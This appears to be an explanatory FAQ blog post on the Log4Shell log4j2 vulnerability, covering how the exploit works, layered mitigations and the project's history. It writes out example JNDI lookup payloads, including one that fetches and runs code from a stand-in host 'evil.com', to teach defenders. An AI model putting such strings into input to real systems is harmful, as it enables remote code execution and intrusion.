The Laconic Log4Shell FAQ

What is Log4Shell (CVE-2021-44228)?

A Remote Code Execution vulnerability in log4j2, a popular logging framework used in Java applications.

What does this mean in practice?

It means you can compromise a machine by sending it the string ${ jndi:ldap://path/to/code}, as long as you can get the string logged by a Java application that uses a vulnerable log4j2 module.

Why is this such a big deal?

First of all, there are many machines vulnerable to Log4Shell. According to Oracle, as early as 2015 there were already 13 billion machines in the world running Java. This initial pool outnumbers that of the machines vulnerable to Heartbleed in its heydey by a factor exceeding twenty thousand. Of course, not all these devices process input; of those that do, not all run applications which log this input; and of those that do, not all were written by authors who googled “logging for Java” and followed the top results’ recommendation to use log4j2, among 2 or 3 other options. But even still, under any reasonable set of assumptions, the math comes out looking very bleak.

Second of all, anyone can make a Log4Shell exploit, and there’s a large attack surface to play with. A six-year-old can craft one of these ${ jndi:...} strings herself, having read the above text. She can then submit it to a targeted server as part of a username, a password, a phone number, a TCP packet, any sort of input the server processes. If the Java on the victim end logs this input using a vulnerable instance of log4j2, the attack succeeds. In the few days since Log4Shell was publicly disclosed, the web has become full of curious probers stuffing ${ jndi:...} strings into every input field imaginable, and even of regular upstanding users changing their username or device name to a ${ jndi:...} string with varying degrees of irony — some making the flashlight-under-the-chin claim that they successfully made a multi-billion-dollar corporation ping their server this way. For what it’s worth, Java version 8 and later that has been updated any time in the last three years or so will contain a mitigation that blocks the outrageously simple ${ jndi:ldap://…} attacks and requires attackers to act with at least some deliberation (more on this below).

Third of all, prevention and remediation of Log4Shell aren’t as straightforward as we’d all like. These ${ jndi:...} strings are written in log4j2’s homebrew script language (called “lookups“), which allows the more creative among the attackers many degrees of freedom when constructing their crafted input for an attempted bypass of IPS, WAF and the like; this results in a large variety of possible exploits, from the slightly obfuscated to the truly pathological. And as for patching, one does not simply “make all the applications use the patched module instead” by fiat. The entire edifice of modern software development rests on the idea that software releases have been tested with a certain set of dependencies, specified down to the version being used. Even if, say, Oracle were to somehow force all Java to run the patched log4j2 instead of the vulnerable version, this would instantly create a huge mass of software being tested in production. It’d be drastic action, of the sort we don’t discuss in polite society (let’s just leave the words “Windows Update” out of this discussion). Furthermore, there is the simpler issue where there is no magic “force all machines which run X to do Y” button to begin with. Does the infrastructure even exist for the patch to reach a vulnerable helicopter on Mars — never mind for someone at Oracle pulling the lever to make it happen seamlessly and automatically? Probably not

How does an exploit for Log4Shell work exactly? What do “jndi” and “ldap” mean?

JNDI is a Java feature which allows Java objects to be loaded and used by a Java program during runtime. One of JNDI’s supported protocols for incoming Java objects is LDAP, an open-source, vendor-neutral protocol for “accessing directory information”, which you can also use to speak to your friendly neighborhood installation of MS Active Directory. LDAP and its Data Interchange Format (LDIF) were created at the University of Michigan in 1992, and if you squint at them enough, they almost look like some sort of proto-nosql.

The log4j2 module’s homebrew “lookups” language supports retrieveing objects via JNDI. The string ${ jndi:ldap://evil.com/malware} means: “please use JNDI to retrieve and run the Java class residing at evil.com/malware; you will receive the class in LDAP protocol response format”. It should be noted that while only the ${ jndi:ldap://...} attack variant has become a proper viral meme, there are milder variants of the attack such as e.g.  ${ jndi:dns://...} which will make a crafted DNS request to a server of the attacker’s choice, and can be used to cause unauthorized information disclosure.

As part of their response guide, the Swiss CERT produced a visualization of the attack which we find very elucidating,

and is reproduced below.

How can I protect myself against Log4Shell?

First, we encourage you to browse the above-mentioned Swiss CERT response guide in its entirety, including the list of recommended actions. Second, you should appreciate that these many and varied countermeasures are all presented for a reason, and no single one of them is a silver bullet. To wit:

• Your favorite security vendor’s IPS or WAF will repel the proverbial “script kiddies” copy-pasting vanilla ${ jndi:...} strings, and probably many more “clever” variations, and this is indeed an important layer of security to have. Still, it is also important to understand the inherent limitations of these solutions. These (very likely) won’t evaluate log4j2 lookup language when inspecting input; as a rule of thumb if a security product doesn’t fully evaluate incoming input, but the target of the input does, the result is a cat-and-mouse game with the mouse at an advantage. These are stopgaps, even if powerful ones, and should be used in conjunction with other mitigations.
• Applying patches to vulnerable Java applications will work insofar that the developers of these applications have issued patches. It happens that software is abandoned by its maintainers, or at least abandoned enough that a patch for a disclosed vulnerability will take weeks or months to come by. 
• Globally disabling trust of remote codebases only blocks the most outrageous form of the attack that uses loading of an external Java object via LDAP, but not the more subtle variants. Further, this feature is not available on all JVMs, and if you actually go and do it manually, common sense says you should be ready for the possibility that you break something, somewhere. Since this mitigation has been available and on by default for a while in updated versions of Java 8 and later, if simply updating the Java version is feasible you might want to go that route instead.
• Disabling the JNDI feature inside log4j2 through the configuration is the closest thing to a clean solution, but is not available in some earlier versions of log4j2. In these versions, the closest analogue is surgical removal of the JNDI lookup feature class (via the incantation: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class), though this seems like an invitation for the application to choke and die instead of enabling an RCE.

Each individual mitigation on the list has its holes and drawbacks, but jointly, these items constitute something like the swiss cheese model of pandemic defense. 

How and Why did this happen? How do we make sure it doesn’t happen again?

The story goes more or less like this.

In March of 1999, 8 developers working on the Apache web server form the Apache Software Foundation (ASF), a nonprofit with the goal of supporting open source projects. Under the guidance of the ASF, the original log4j sees its alpha release about half a year later, and a stable release follows about a year after that, in early 2001. Development on the original log4j continues until 2005 or so; in 2006, a new project named “LogBack” appears, introducing itself as a “successor [..] which picks up where log4j 1.X left off” and offering various performance and quality of life improvements. In 2012, log4j experiences an unlikely renaissance, as several developers come together to create a rewrite of it which becomes the initial alpha version of log4j2. Two months later, log4j2 publishes a beta release; it is during this beta phase that one of the project early adopters creates a feature request for support of JNDI as a very convenient feature, detailing several use cases for it and even offering an already-written patch containing an implementation. 5 days after the request is submitted, a project maintainer laconically approves the merge request: “Your patch was committed in revision 1504620. Please verify and close”.

8 years later, which is to say, last month, the Alibaba cloud security team discreetly reaches out to the ASF in order to disclose the existence of the log4shell vulnerability. Public disclosure follows a few weeks later in a tweet (that has since been deleted), including source code for a working exploit. All hell breaks loose and the xkcd comic below is posted to social media thirty thousand times. 

Patches are issued, JVMs are updated, incident response teams over the world contemplate a career of cabbage farming someplace quiet in Canada. One of the log4j2 project maintainers complains:

Response is overwhelmingly supportive. The occasional dissenter insists that there was no “need” to keep anything and “compatibility” is the root of all evil, or at least in this case, in hindsight, it was. Passers-by wonder if the ASF hasn’t been paying the maintainers of log4j2, what has it been doing exactly.

Natural human instinct is to blame someone, and maybe for good reason. A lot of problems in the world are in fact the fault of specific people being selfish or short-sighted, and can be solved by taking these people to task. Still, it’s worth remembering that a lot of other problems in the world are caused by impersonal forces that push around individuals like cogs in a machine, seemingly without regard for their theoretical free will. How many times in history has a developer, even a well-paid developer, approved a feature request like this, despite a tingling sense of unease that the feature seems too powerful and vaguely out of scope for the project? The first security professional, tasked with securing a cave some time in the stone age, probably complained about this on their first day. It seems to keep happening no matter how many times we point the blaming finger at people after the fact. No one is very excited to deal with angry users, colleagues, managers and have to explain to them “no, everyone, trust me, I prevented a catastrophe”.

The emergence of the OpenSSL Heartbleed vulnerability in 2014 kindled a keen interest in taking better care of starved and understaffed open source projects that are cornerstones of modern digital infrastructure, as visualized in the comic above. Surely, this even worse incident will have a similar effect. But maybe the most profound effect of this whole ordeal on the future will be its weight as a cautionary tale. Three weeks ago, the average developer faced with a demand to have software evaluate arbitrary expressions for an extra “convenient” feature would have been the helpless cog in the machine, pressured to comply, with no recourse but to issue vague theoretical warnings that this is not the Right Thing To Do. But from today on, that developer can and should respond: “No. Are you serious? Do you want to cause the next Log4Shell?”